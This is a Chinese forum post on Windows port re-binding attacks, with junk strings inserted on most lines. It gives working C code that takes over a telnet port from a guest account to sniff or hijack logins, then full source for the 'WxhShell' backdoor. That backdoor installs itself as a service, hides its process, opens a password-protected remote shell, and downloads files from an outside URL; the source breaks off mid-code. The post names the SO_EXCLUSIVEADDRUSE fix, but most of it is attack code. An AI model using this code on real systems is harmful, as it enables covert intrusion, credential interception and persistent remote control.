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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $-"V 2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :{M1]0 NH  
"Is0:au+?}  
  saddr.sin_family = AF_INET; 2PG= T/  
]_y0wLq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /..a9x{At>  
TY]-L1$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ),&tF_z:  
A&7~] BR\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +hz S'z)n&  
%TS8 9/  
  这意味着什么?意味着可以进行如下的攻击: OQ*rxL cA  
EbMG9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Erq% Ck(  
@Xl/<S&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d <Rv~F@  
wfrSI:+>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z Ne(sg~G  
=SpD6 9-H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aT20FEZ;  
z P=3B%$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZmzYJ$:6  
2t 1u{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yvt :/X  
Pef$-3aP>E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 prCr"y` M  
<v[UYvZvY  
  #include Ncsk~=[  
  #include UQ.DKUg  
  #include :Kx6|83  
  #include    y3Lq"?h  
  DWORD WINAPI ClientThread(LPVOID lpParam);    ];hK5  
  int main() 3FhkK/@  
  { 0mYKzJi  
  WORD wVersionRequested; jR@J1IR<  
  DWORD ret; H3Sfz'  
  WSADATA wsaData; P#N@W_""YD  
  BOOL val; Y0ouLUlI  
  SOCKADDR_IN saddr; *|^}=ioj*  
  SOCKADDR_IN scaddr; ^>tqg^  
  int err; o.x<h";  
  SOCKET s; Nc[[o>/Cb  
  SOCKET sc; dBM> ;S;v  
  int caddsize; `cn}}1Lg]  
  HANDLE mt; ~2M+Me  
  DWORD tid;   _~a5;[~  
  wVersionRequested = MAKEWORD( 2, 2 ); JF-ew"o<E  
  err = WSAStartup( wVersionRequested, &wsaData ); /d prs(*K  
  if ( err != 0 ) { iqTGh*k  
  printf("error!WSAStartup failed!\n"); Z!SFJ{  
  return -1; ,n\'dMNii  
  } y-=YXqj  
  saddr.sin_family = AF_INET; 0="U'|J_  
   cH{[\F"Eb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wxIWh>pZa  
+RN|ZG&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ddG5g  
  saddr.sin_port = htons(23); 6Cz%i 6)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3,$G?auW  
  { Z Vj  
  printf("error!socket failed!\n"); BIeeu@p  
  return -1; (5R_q.Wu  
  } ?0VETa ~m  
  val = TRUE; ~$:=hT1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xYl ScM_~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /IyCvo  
  { 3_cZaru  
  printf("error!setsockopt failed!\n"); . Q$/\E  
  return -1; gRQV)8uh  
  } C Ch38qBp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8zWKKcf7t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GjGt' m*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l>iE1`iL<  
jI~GRk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Sz3Tp5b  
  { EL+P,q/b  
  ret=GetLastError(); kNDN<L  
  printf("error!bind failed!\n"); -eSZpzp  
  return -1;  0gOB $W  
  } tG}cmK~%  
  listen(s,2); aH+n]J] =)  
  while(1) 0Er;l|  
  { X4dXO5\  
  caddsize = sizeof(scaddr); H6/C7  
  //接受连接请求 AW< z7B D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /%9CR'%*c  
  if(sc!=INVALID_SOCKET) sV5S>*A[  
  { `(6g87h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "Z70 jkW[  
  if(mt==NULL) c>pbRUMH  
  { W^Z#_{  
  printf("Thread Creat Failed!\n"); R#w9%+  
  break; Y~C;M6(P  
  } 3IHA+Zz  
  } [G>U>[u|  
  CloseHandle(mt); ]5`Y^hS_g  
  } .W1i3Z6g  
  closesocket(s); -/z#?J\  
  WSACleanup(); b am*&E%0K  
  return 0; Z9vJF.clO  
  }   /\C5`>x  
  DWORD WINAPI ClientThread(LPVOID lpParam) ? > 7SZiC`  
  { oNK-^N?-T  
  SOCKET ss = (SOCKET)lpParam; B`1"4[{  
  SOCKET sc; "{Jq6):mp  
  unsigned char buf[4096];  ZXL  
  SOCKADDR_IN saddr; )mvD2]fK  
  long num; Tyk\l>S  
  DWORD val; ]<B@g($  
  DWORD ret; s%p,cz; ,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Q\k|pg?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   - BE.a<  
  saddr.sin_family = AF_INET; &ytnoj1L(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =%IBl]Z!"  
  saddr.sin_port = htons(23); cc_v4d{x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gHe%N? '  
  { QGI_aU  
  printf("error!socket failed!\n"); VGtKW kVH  
  return -1; jUg.Y98  
  } \$%q< _l  
  val = 100; i!+Wv-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6l|,J`G  
  { Sx|)GTJJ|-  
  ret = GetLastError(); )Fw{|7@N  
  return -1; xKW`m  
  } O2 sAt3'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bQelU  
  { Pe<}kS m4  
  ret = GetLastError(); g (:%E  
  return -1; `SH#t3 5,  
  } oM4Q_An  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >L{s[pLJ  
  { o6LZ05Z-&  
  printf("error!socket connect failed!\n"); 8R;A5o,  
  closesocket(sc); E` aAPk_ y  
  closesocket(ss); e"]*^Q  
  return -1; U6M3,"?  
  } ~+r"% KnG  
  while(1) }'.k  
  { pcl '!8&7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nm.~~h+8M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h..D1(M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @ %}4R`S0  
  num = recv(ss,buf,4096,0); ?.%'[n>P  
  if(num>0) 4EtP|  
  send(sc,buf,num,0); f+o%N  
  else if(num==0) Pk 6l*+"r<  
  break; Fs|aH-9\  
  num = recv(sc,buf,4096,0); lmjoSINy  
  if(num>0) @ 4%a  
  send(ss,buf,num,0); 1O{x9a5Z?O  
  else if(num==0) 7g a|4j3%  
  break; *4<Kz{NF  
  } S_EN,2'e  
  closesocket(ss); n fU\l<  
  closesocket(sc); B}y`E <  
  return 0 ; !J@!P?0. C  
  } /18VQ  
> lg-j-pV  
O?I~XM'S  
========================================================== ">V.nao  
yu>DVD  
下边附上一个代码,,WXhSHELL ~ d!F|BH4  
(&y~\t] H  
========================================================== ]IZn#gnM  
',<B o{  
#include "stdafx.h" zLB7'7oP  
X\dPQwasM  
#include <stdio.h> 7Ne`F(c  
#include <string.h> 8ezdU"  
#include <windows.h> Rl2*oOVz  
#include <winsock2.h> W@( EEMhw  
#include <winsvc.h> O%KP,q&}Y  
#include <urlmon.h> "\]NOA*  
y>DvD)  
#pragma comment (lib, "Ws2_32.lib") 'Lb- +X,  
#pragma comment (lib, "urlmon.lib") ">LX>uYmX-  
1aQR9zg%  
#define MAX_USER   100 // 最大客户端连接数 ![OKmy  
#define BUF_SOCK   200 // sock buffer cJ> #jl&  
#define KEY_BUFF   255 // 输入 buffer ;[ag|YU$Y  
cGVIO"(VP  
#define REBOOT     0   // 重启 j$TTLFK1  
#define SHUTDOWN   1   // 关机 9]DMHA@  
n M?mdb  
#define DEF_PORT   5000 // 监听端口 HpD<NVu  
jhN]1t /\X  
#define REG_LEN     16   // 注册表键长度 :@H&v%h(u  
#define SVC_LEN     80   // NT服务名长度 x?unE@?\S  
5[py{Gq  
// 从dll定义API 9ne13 qVm+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /I>o6CI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {+&qC\YF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ('u\rc2 R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {xGM_vH1  
H(~:Ajj+zQ  
// wxhshell配置信息 ?^< E#2a  
struct WSCFG { j m]d:=4_  
  int ws_port;         // 监听端口 )zR(e>VX  
  char ws_passstr[REG_LEN]; // 口令 3wQUNv0z  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2{sx"/k\A  
  char ws_regname[REG_LEN]; // 注册表键名 ^=lh|C\#  
  char ws_svcname[REG_LEN]; // 服务名 &H`AS6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S-$N!G~!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :E>" z6H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HL^+:`,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v9<'nU WVR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0E5"}8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *88Q6=Mm  
aBN^J_  
}; :=iP_*#  
8?> #  
// default Wxhshell configuration %rmn+L),;  
struct WSCFG wscfg={DEF_PORT, \.`;p  
    "xuhuanlingzhe", ka^sOC+Y  
    1, K9*vWoP'  
    "Wxhshell", ^4\h Z  
    "Wxhshell", 8-2e4^ g(  
            "WxhShell Service", yyj?hR@rZ  
    "Wrsky Windows CmdShell Service", 41S.&-u  
    "Please Input Your Password: ", {7%W /C#A  
  1, _Prh&Q1zs  
  "http://www.wrsky.com/wxhshell.exe", srh>" 2."  
  "Wxhshell.exe" nI_43rG:Uf  
    }; Ob+Rnfx37  
M$9?{8m  
// 消息定义模块 m!qbQMXn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IsC`r7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +p%!G1Yz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3Dd"qON!  
char *msg_ws_ext="\n\rExit."; ZJ$nHS?ra  
char *msg_ws_end="\n\rQuit."; R8*z}xy{  
char *msg_ws_boot="\n\rReboot..."; ?OYK'p.  
char *msg_ws_poff="\n\rShutdown...";  <:,m  
char *msg_ws_down="\n\rSave to "; ^{IF2_h"  
/.{q2]  
char *msg_ws_err="\n\rErr!"; Z/r=4  
char *msg_ws_ok="\n\rOK!"; u?J!3ZEtb  
nkp,  
char ExeFile[MAX_PATH]; iE~][_%U  
int nUser = 0; us ,!U  
HANDLE handles[MAX_USER]; *u i!|;  
int OsIsNt; v*.[O/,EBR  
I:ag}L8`  
SERVICE_STATUS       serviceStatus; rW8.bMmM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sUCI+)cM3  
>;$C@  
// 函数声明 cIL I%W1  
int Install(void); A *$JF>`7  
int Uninstall(void); j;GH|22  
int DownloadFile(char *sURL, SOCKET wsh); vpS&w  
int Boot(int flag); f6I$d<  
void HideProc(void); *v' d1.Z  
int GetOsVer(void); @Nm;lZK  
int Wxhshell(SOCKET wsl); kXfTNMb  
void TalkWithClient(void *cs); kkyi`_ZKn  
int CmdShell(SOCKET sock); 6cF~8  
int StartFromService(void); E=H>|FgS  
int StartWxhshell(LPSTR lpCmdLine); uX!5G:x]  
5Hli@:B2s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y&-1SP<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SWX[|sjdB  
l8XgzaW  
// 数据结构和表定义 p>g5WebBN  
SERVICE_TABLE_ENTRY DispatchTable[] = 4P406,T]r  
{ 6ka, FjJ\  
{wscfg.ws_svcname, NTServiceMain}, VIXY?Ua  
{NULL, NULL} a'[Ah2}3r<  
}; vDeb?n  
n0ZrgTVJ  
// 自我安装 qy9RYIfZ  
int Install(void) rwJCVkF  
{ Skb d'j  
  char svExeFile[MAX_PATH]; Ke*tLnO  
  HKEY key; qM$4c7'4P6  
  strcpy(svExeFile,ExeFile); zeHf(N  
u n)YK  
// 如果是win9x系统,修改注册表设为自启动 j5rB+  
if(!OsIsNt) { am'11a@*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <r@w`G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xF#'+Y  
  RegCloseKey(key); H n^)Xw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *&=sL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ag_RKlM3  
  RegCloseKey(key); sbju3nvk  
  return 0; ;*H@E(g  
    } D?Mj<||  
  } hR g?H  
} T4M"s;::1  
else { ,w9:)B7  
'P:u/Sq?m  
// 如果是NT以上系统,安装为系统服务 i7%v2_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |g$n-t  
if (schSCManager!=0) yDE0qUO  
{ >-%}'iz+  
  SC_HANDLE schService = CreateService @L9C_a  
  ( KF%tF4^+|  
  schSCManager, ,ce sQ ou  
  wscfg.ws_svcname, YQH=]5r  
  wscfg.ws_svcdisp, )$> pu{o  
  SERVICE_ALL_ACCESS, KE~l#=S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $+P6R`K  
  SERVICE_AUTO_START, 4kNiS^h  
  SERVICE_ERROR_NORMAL, I: L}7uA[t  
  svExeFile, x$:P;#  
  NULL, --> ~<o  
  NULL, xA&RMu&  
  NULL, @MoBR.  
  NULL, c)b/"  
  NULL tF/)DZ.to  
  ); !:GlxmtoW?  
  if (schService!=0) -J06H&/k  
  { #Ns]l<  
  CloseServiceHandle(schService); ]UMt  
  CloseServiceHandle(schSCManager); f*:DH4g }B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {\-9^RL  
  strcat(svExeFile,wscfg.ws_svcname); &2P+9j>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B%.vEk)*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G[bWjw86O  
  RegCloseKey(key); }%T8?d]  
  return 0;  v<_wf  
    } &P0jRT3e#Y  
  } ]U,c`?[7#  
  CloseServiceHandle(schSCManager); X%Lhu6F  
} 4eRV?tE9  
} 2m*g,J?ql  
^D%hKIT  
return 1; &tJ!cTA.-  
} ;!C~_{/t  
VqIzDs  
// 自我卸载 }x9D;%)/  
int Uninstall(void) UqA<rW  
{ GBvgVX<  
  HKEY key; ROWI.|  
Qms,kX  
if(!OsIsNt) { QMz6syn4u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vg"$&YX9"  
  RegDeleteValue(key,wscfg.ws_regname); g0Ff$-#7  
  RegCloseKey(key); :kU-ol$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #H5i$ o  
  RegDeleteValue(key,wscfg.ws_regname); BKV,V/*p  
  RegCloseKey(key); (*K=&e0O  
  return 0; it#,5#Y:  
  } \ ";^nk*  
} gB)Cmw*  
} k vQ] }`a  
else { PsMp &~^  
0D s W1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'Zket=Sm;  
if (schSCManager!=0) #$^vP/"$  
{ Qf .ASC   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yU{Q`6u T  
  if (schService!=0) <NYf!bx  
  { 0DB8[#i%:  
  if(DeleteService(schService)!=0) { "G[yV>pxv  
  CloseServiceHandle(schService); [Nw%fuB  
  CloseServiceHandle(schSCManager); wyi%!H  
  return 0; 9sI&&Jg  
  } i[#XYX'\  
  CloseServiceHandle(schService); |b+ZKRW  
  } # GbfFoE  
  CloseServiceHandle(schSCManager); }|j \QjH  
} _-R&A@  
} JnY.]:  
KB$S B25m  
return 1; 6]^~yby P  
} Pe,:FIp,  
0|=,!sY  
// 从指定url下载文件 `mE>h4  
int DownloadFile(char *sURL, SOCKET wsh) 7/969h^s  
{ us7t>EMmB  
  HRESULT hr; IyPk3N  
char seps[]= "/"; NRI @M5  
char *token; QE Q/  
char *file; )L0NX^jW;  
char myURL[MAX_PATH]; J P1XH k  
char myFILE[MAX_PATH]; 7KlS9x2  
9{cpxJ  
strcpy(myURL,sURL); xW. ~Jt  
  token=strtok(myURL,seps); _)%Sz"g^Ix  
  while(token!=NULL) ]=Dzr<*v  
  { ?glK~G!i  
    file=token; hR+\,P#G[  
  token=strtok(NULL,seps); wV\.NQtS  
  } U^&,xz$Cg  
NE)Yd7m-  
GetCurrentDirectory(MAX_PATH,myFILE); 5I6u 2k3  
strcat(myFILE, "\\"); |\<L7|hb9  
strcat(myFILE, file); E rrs6  
  send(wsh,myFILE,strlen(myFILE),0); crbph.0  
send(wsh,"...",3,0); /=K(5Xd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G&z^AV  
  if(hr==S_OK) q\n,/#'i~  
return 0; 3Ow bU  
else t8ZzBD!dP  
return 1; f6])M)  
8svN*`[  
} [lz#+~rOS  
\n<9R8g5  
// 系统电源模块 m FgrT  
int Boot(int flag) Z'!i"Jzq|{  
{ ?_t_rF(?6  
  HANDLE hToken; :lBw0{fP  
  TOKEN_PRIVILEGES tkp; )C>8B`^S  
#;])/8R%  
  if(OsIsNt) { NyR,@n1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H{et2J<H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B(1WI_}~  
    tkp.PrivilegeCount = 1; cfC}"As  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V)Sw\tS6g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gA:unsI  
if(flag==REBOOT) { )&s9QBo{b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I&wJK'GM`  
  return 0; 2)MX<prH  
} ?D_^8\R  
else { X-y3CO:&@h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c\le8C3  
  return 0; i?:#lbw_  
} -~Chf4?<4  
  } t\XA JU  
  else { dJF3]h Y  
if(flag==REBOOT) { 1}Th@Vq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QJF_ "  
  return 0; [:gp_Z&  
} cb5T-'hY  
else { D%*Ryg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2 -pv &  
  return 0; 2(2UAB"u  
} TZ#^AV=ae  
} EYRg,U&'  
q|sT4} =  
return 1; U8a5rF><  
} qs>&Xn  
GDQQ4-|O  
// win9x进程隐藏模块 ) W/_2Q.  
void HideProc(void) k![oJ.vHD  
{ \OwCZ!`7i  
s=>^ 8[0O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "BZL*hHq  
  if ( hKernel != NULL ) ENy$sS6[D  
  { ~X(2F#{<{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L0;XzZ S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~5o2jTNy`p  
    FreeLibrary(hKernel); F<4>g+Ag  
  } D]twid~OS  
K]&i9`>N   
return; }Ud'j'QMy  
} u&Yd+');  
"$.B@[iY@  
// 获取操作系统版本 [0!*<%BgK'  
int GetOsVer(void) kjF4c6v  
{ ?=,7'@e  
  OSVERSIONINFO winfo; 3Mq%3jX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'iU+mRLp  
  GetVersionEx(&winfo); -_M':  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 73l,PJ  
  return 1; A_Y5{6@  
  else Oe21noL  
  return 0; `Y3\R#  
} O4cBn{Dq9  
sD$K<nyz  
// 客户端句柄模块 G2&,R{L6w  
int Wxhshell(SOCKET wsl) }yaM.+8.  
{ N, ,[V  
  SOCKET wsh; 30YH}b#B  
  struct sockaddr_in client; Ln8r~[tVE<  
  DWORD myID; ]sI\.a  
u{cb[M  
  while(nUser<MAX_USER) xYY^tZIV  
{ '=(D7F;  
  int nSize=sizeof(client); d~q7!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (6i4N2  
  if(wsh==INVALID_SOCKET) return 1; 40O@a:q*  
q2U?EP{8~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hh[x(O)TC~  
if(handles[nUser]==0) `{NbMc\ ]  
  closesocket(wsh); B r6tgoA  
else <tW/9}@p9  
  nUser++; %@8#+#@J0  
  } C@g/{?\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q| UO]V  
]*D~>q"#\  
  return 0; G!Yt.M 0  
} M5 P3;  
 81!gp7c  
// 关闭 socket t$b5,"G1  
void CloseIt(SOCKET wsh) <Y"HC a{  
{ U, 8mYv2|  
closesocket(wsh); BKV:U\QZ  
nUser--; !AG oI7W}  
ExitThread(0); d4)0G-|  
} MkWbPm)  
p*l=rni4  
// 客户端请求句柄 S{Zf}8?6$  
void TalkWithClient(void *cs) b#*"eZj  
{ t]T't='  
G[=;519  
  SOCKET wsh=(SOCKET)cs;  tYG6Gl  
  char pwd[SVC_LEN]; 2t?Vl%<  
  char cmd[KEY_BUFF]; =7EkN% V:{  
char chr[1]; )6%a9&~H  
int i,j; }@~+%_;  
]TN/n%\  
  while (nUser < MAX_USER) { ]MC5 uKn  
[ #fz [U  
if(wscfg.ws_passstr) { k\RS L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -XnOj2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4?]s%2U6  
  //ZeroMemory(pwd,KEY_BUFF); -wVuM.n(Z  
      i=0; {{AZW   
  while(i<SVC_LEN) { sq@c?!'  
(wvU;u  
  // 设置超时 Z*IW*f&0>1  
  fd_set FdRead; 1@9M[_<n5  
  struct timeval TimeOut; 7eW6$$ju,N  
  FD_ZERO(&FdRead); Sbeq%Iwm.  
  FD_SET(wsh,&FdRead); h+S]C#X,}  
  TimeOut.tv_sec=8; CF v]wS  
  TimeOut.tv_usec=0; 30<_`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >DN^',FEm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3S1{r )[j  
?X Rl\V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !}sF#  
  pwd=chr[0]; {;O j  
  if(chr[0]==0xd || chr[0]==0xa) { 9m<%+ S5&  
  pwd=0; U;*O7K=P  
  break; s#(7D3Pr#  
  } L* ScSxw  
  i++; cH5RpeP  
    } $j \jT  
Htfq?\ FD  
  // 如果是非法用户,关闭 socket "1`w>(=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %-B wK  
} yZ]?-7  
[[xnp;-;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g?K? Fn.}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gyrc~m[$  
*$3p3-  
while(1) { $M~`)UeV_  
F"QJ)F  
  ZeroMemory(cmd,KEY_BUFF); ;,7m  
BU7QK_zT:  
      // 自动支持客户端 telnet标准   h)aLq  
  j=0; k=G c#SD5_  
  while(j<KEY_BUFF) { nU0##  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @H^\PH?pp  
  cmd[j]=chr[0]; 7K+eI!m.s  
  if(chr[0]==0xa || chr[0]==0xd) { m>?|*a,  
  cmd[j]=0; N`qGwNT%G  
  break; 16Jjf|]j  
  } FC  
  j++; gZ-:4G|J  
    } 0.c9 6&  
Sy<io@df  
  // 下载文件 rbs&A{i  
  if(strstr(cmd,"http://")) { C =B a|Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?j)#\s2  
  if(DownloadFile(cmd,wsh)) ?A~=.u@[d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kWs:7jiiu  
  else iRqLLMrn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z_7TD)  
  } $"k1^&&E  
  else { %NfH`%`  
02)Ybp6y  
    switch(cmd[0]) { /iJsa&W}  
  2sVDv@2  
  // 帮助 ?}S!8;d  
  case '?': { 6WoFf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qk>M~,  
    break; E^m)&.+'M  
  } /<dl"PWkJv  
  // 安装 C;#gy-  
  case 'i': { P7REE_<1  
    if(Install()) }=.C~f]A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ca,c+5  
    else c{39,oF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]7RK/Zu i  
    break; n A%8 bZ+  
    } XpA|<s  
  // 卸载 &)|f|\yh"  
  case 'r': { k^K%."INn  
    if(Uninstall()) uKB V`I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : qV|rih_Q  
    else >S S^qjh/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A0Q1"b=  
    break; E.-2 /'i  
    } )}vUYTU1  
  // 显示 wxhshell 所在路径 tf1Y5P$  
  case 'p': { 6UuM `eu  
    char svExeFile[MAX_PATH]; |uX&T`7?-  
    strcpy(svExeFile,"\n\r"); }.=@^-JBA5  
      strcat(svExeFile,ExeFile); AJ6O>Euq  
        send(wsh,svExeFile,strlen(svExeFile),0); l1%*LyD  
    break; ZmI#-[/  
    } =/4}!B/  
  // 重启 T b*Q4:r"  
  case 'b': { $-6[9d-N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \lyHQ-gWhc  
    if(Boot(REBOOT)) = N:5#A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .TNJuuO  
    else { Zc*#LsQh.`  
    closesocket(wsh); ?+$EPaC2  
    ExitThread(0); `_"?$ v2F  
    } C\|HN=2eh  
    break; zE7)4!  
    } qQS&K%F  
  // 关机 . ywVGBvJ  
  case 'd': { 1KJ[&jS ]  
